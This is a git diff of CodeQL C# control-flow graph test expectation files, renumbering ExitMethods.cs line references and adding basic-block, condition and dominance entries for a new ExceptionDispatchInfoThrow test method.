files changed, 1299 insertions(+), 1174 deletions(-) diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 6f3b0b5e956..00316b3c41d 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -370,50 +370,54 @@ | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | Conditions.cs:146:13:146:13 | [b (line 143): false] access to parameter b | 5 | | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:48 | call to method WriteLine | 5 | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:48 | call to method WriteLine | 5 | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:7:10:7:11 | exit M1 | 8 | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:13:10:13:11 | exit M2 | 8 | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:19:10:19:11 | exit M3 | 7 | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:25:10:25:11 | exit M4 | 7 | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:31:10:31:11 | exit M5 | 7 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | 7 | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | exit M6 | 2 | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | 1 | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | 1 | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:45:13:45:19 | return ...; | 2 | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | 1 | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:49:13:49:19 | return ...; | 2 | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:53:10:53:11 | exit M7 | 6 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:59:10:59:11 | exit M8 | 6 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:67:13:67:13 | access to parameter b | 4 | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | 1 | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | 1 | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | 3 | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:73:13:73:13 | access to parameter b | 4 | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | exit ErrorAlways | 2 | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:13:74:34 | throw ...; | 2 | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:13:76:45 | throw ...; | 3 | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 | 6 | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 | 5 | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:86:10:86:13 | exit Exit | 7 | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:91:10:91:18 | exit ExitInTry | 9 | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:104:10:104:24 | exit ApplicationExit | 6 | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:111:16:111:25 | ... != ... | 6 | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | 1 | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | 7 | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | 4 | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:16:116:30 | call to method Contains | 5 | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall | 4 | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:34:116:34 | 0 | 1 | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:38:116:38 | 1 | 1 | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:121:23:121:27 | false | 4 | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:119:17:119:32 | exit FailingAssertion | 3 | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 | 7 | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | 2 | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse | 1 | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | 2 | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | 2 | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:135:21:135:24 | true | 5 | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 | 3 | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | exit M1 | 8 | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | exit M2 | 8 | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:20:10:20:11 | exit M3 | 7 | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:26:10:26:11 | exit M4 | 7 | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:32:10:32:11 | exit M5 | 7 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | 7 | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | exit M6 | 2 | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | 1 | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | 1 | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:46:13:46:19 | return ...; | 2 | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | 1 | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:50:13:50:19 | return ...; | 2 | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:54:10:54:11 | exit M7 | 6 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:60:10:60:11 | exit M8 | 6 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:68:13:68:13 | access to parameter b | 4 | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | 1 | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | 1 | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | 3 | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:74:13:74:13 | access to parameter b | 4 | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | exit ErrorAlways | 2 | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:13:75:34 | throw ...; | 2 | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:13:77:45 | throw ...; | 3 | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 | 6 | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 | 5 | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:87:10:87:13 | exit Exit | 7 | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:92:10:92:18 | exit ExitInTry | 9 | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:105:10:105:24 | exit ApplicationExit | 6 | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:112:16:112:25 | ... != ... | 6 | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr | ExitMethods.cs:110:13:110:21 | exit ThrowExpr | 1 | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | 7 | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | 4 | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:16:117:30 | call to method Contains | 5 | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall | 4 | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:34:117:34 | 0 | 1 | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:38:117:38 | 1 | 1 | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:122:23:122:27 | false | 4 | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:120:17:120:32 | exit FailingAssertion | 3 | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 | 7 | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | 2 | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse | 1 | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | 2 | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | 2 | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:136:21:136:24 | true | 5 | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | 3 | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:142:13:142:13 | access to parameter b | 4 | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | 3 | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | 4 | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | 5 | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | exit ToInt32 | 7 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | exit ToBool | 8 | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | exit CallToInt32 | 5 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 3f1653363c8..47f4dcbdcb4 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1305,21 +1305,23 @@ conditionBlock | Conditions.cs:143:10:143:12 | enter M11 | Conditions.cs:149:13:149:49 | ...; | false | | Conditions.cs:145:21:145:23 | [b (line 143): true] "a" | Conditions.cs:147:13:147:49 | ...; | true | | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | Conditions.cs:149:13:149:49 | ...; | false | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | false | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | false | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | true | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | false | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:68:19:68:33 | object creation of type Exception | true | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:74:19:74:33 | object creation of type Exception | true | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:76:41:76:43 | "b" | false | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:111:29:111:29 | 1 | true | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:111:69:111:75 | "input" | false | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:34:116:34 | 0 | true | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:38:116:38 | 1 | false | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | false | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | true | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | false | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | true | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | false | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | false | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | true | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | false | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:69:19:69:33 | object creation of type Exception | true | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:75:19:75:33 | object creation of type Exception | true | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:77:41:77:43 | "b" | false | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:112:29:112:29 | 1 | true | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:112:69:112:75 | "input" | false | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:34:117:34 | 0 | true | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:38:117:38 | 1 | false | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | false | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | true | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | false | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | true | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:143:13:143:43 | ...; | true | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:145:13:145:53 | ...; | false | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | true | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:27:9:29:9 | {...} | true | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | false | @@ -2551,18 +2553,20 @@ conditionFlow | Conditions.cs:145:17:145:17 | access to parameter b | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | false | | Conditions.cs:146:13:146:13 | [b (line 143): false] access to parameter b | Conditions.cs:149:13:149:49 | ...; | false | | Conditions.cs:146:13:146:13 | [b (line 143): true] access to parameter b | Conditions.cs:147:13:147:49 | ...; | true | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | false | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:68:19:68:33 | object creation of type Exception | true | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:74:19:74:33 | object creation of type Exception | true | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:76:41:76:43 | "b" | false | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:29:111:29 | 1 | true | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:69:111:75 | "input" | false | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:34:116:34 | 0 | true | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:38:116:38 | 1 | false | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | false | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | true | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | false | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | true | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | false | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:69:19:69:33 | object creation of type Exception | true | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:75:19:75:33 | object creation of type Exception | true | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:77:41:77:43 | "b" | false | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:29:112:29 | 1 | true | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:69:112:75 | "input" | false | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:34:117:34 | 0 | true | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:38:117:38 | 1 | false | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | false | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | true | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | false | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | true | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:143:13:143:43 | ...; | true | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:145:13:145:53 | ...; | false | | Finally.cs:26:48:26:51 | [exception: Exception] true | Finally.cs:27:9:29:9 | {...} | true | | Finally.cs:34:21:34:24 | true | Finally.cs:34:27:34:32 | throw ...; | true | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:62:9:64:9 | {...} | true | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 8fe3dbbf796..c7c78455c64 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -1496,154 +1496,168 @@ dominance | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:13:149:48 | call to method WriteLine | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:45:149:45 | access to local variable s | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:38:149:47 | $"..." | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:8:5:11:5 | {...} | -| ExitMethods.cs:7:10:7:11 | exit M1 (normal) | ExitMethods.cs:7:10:7:11 | exit M1 | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:9:9:9:25 | ...; | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:10:9:10:15 | return ...; | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:9:20:9:23 | true | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:7:10:7:11 | exit M1 (normal) | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:14:5:17:5 | {...} | -| ExitMethods.cs:13:10:13:11 | exit M2 (normal) | ExitMethods.cs:13:10:13:11 | exit M2 | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:15:9:15:26 | ...; | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:16:9:16:15 | return ...; | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:15:20:15:24 | false | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:13:10:13:11 | exit M2 (normal) | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:20:5:23:5 | {...} | -| ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | ExitMethods.cs:19:10:19:11 | exit M3 | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:21:9:21:26 | ...; | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:21:21:21:24 | true | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:26:5:29:5 | {...} | -| ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | ExitMethods.cs:25:10:25:11 | exit M4 | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:27:9:27:15 | ...; | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:27:9:27:14 | call to method Exit | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:27:9:27:14 | this access | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:32:5:35:5 | {...} | -| ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | ExitMethods.cs:31:10:31:11 | exit M5 | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:33:9:33:26 | ...; | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:33:9:33:25 | this access | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:38:5:51:5 | {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | exit M6 | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:39:9:50:9 | try {...} ... | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:40:9:42:9 | {...} | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:41:13:41:31 | ...; | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:41:25:41:29 | false | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:45:13:45:19 | return ...; | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:49:13:49:19 | return ...; | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:54:5:57:5 | {...} | -| ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | ExitMethods.cs:53:10:53:11 | exit M7 | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:55:9:55:23 | ...; | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:60:5:63:5 | {...} | -| ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | ExitMethods.cs:59:10:59:11 | exit M8 | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:61:9:61:23 | ...; | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:66:5:69:5 | {...} | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:67:9:68:34 | if (...) ... | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:67:13:67:13 | access to parameter b | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:13:68:34 | throw ...; | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:72:5:77:5 | {...} | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | exit ErrorAlways | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:73:9:76:45 | if (...) ... | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:73:13:73:13 | access to parameter b | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:13:74:34 | throw ...; | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:76:13:76:45 | throw ...; | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:80:5:82:5 | {...} | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | 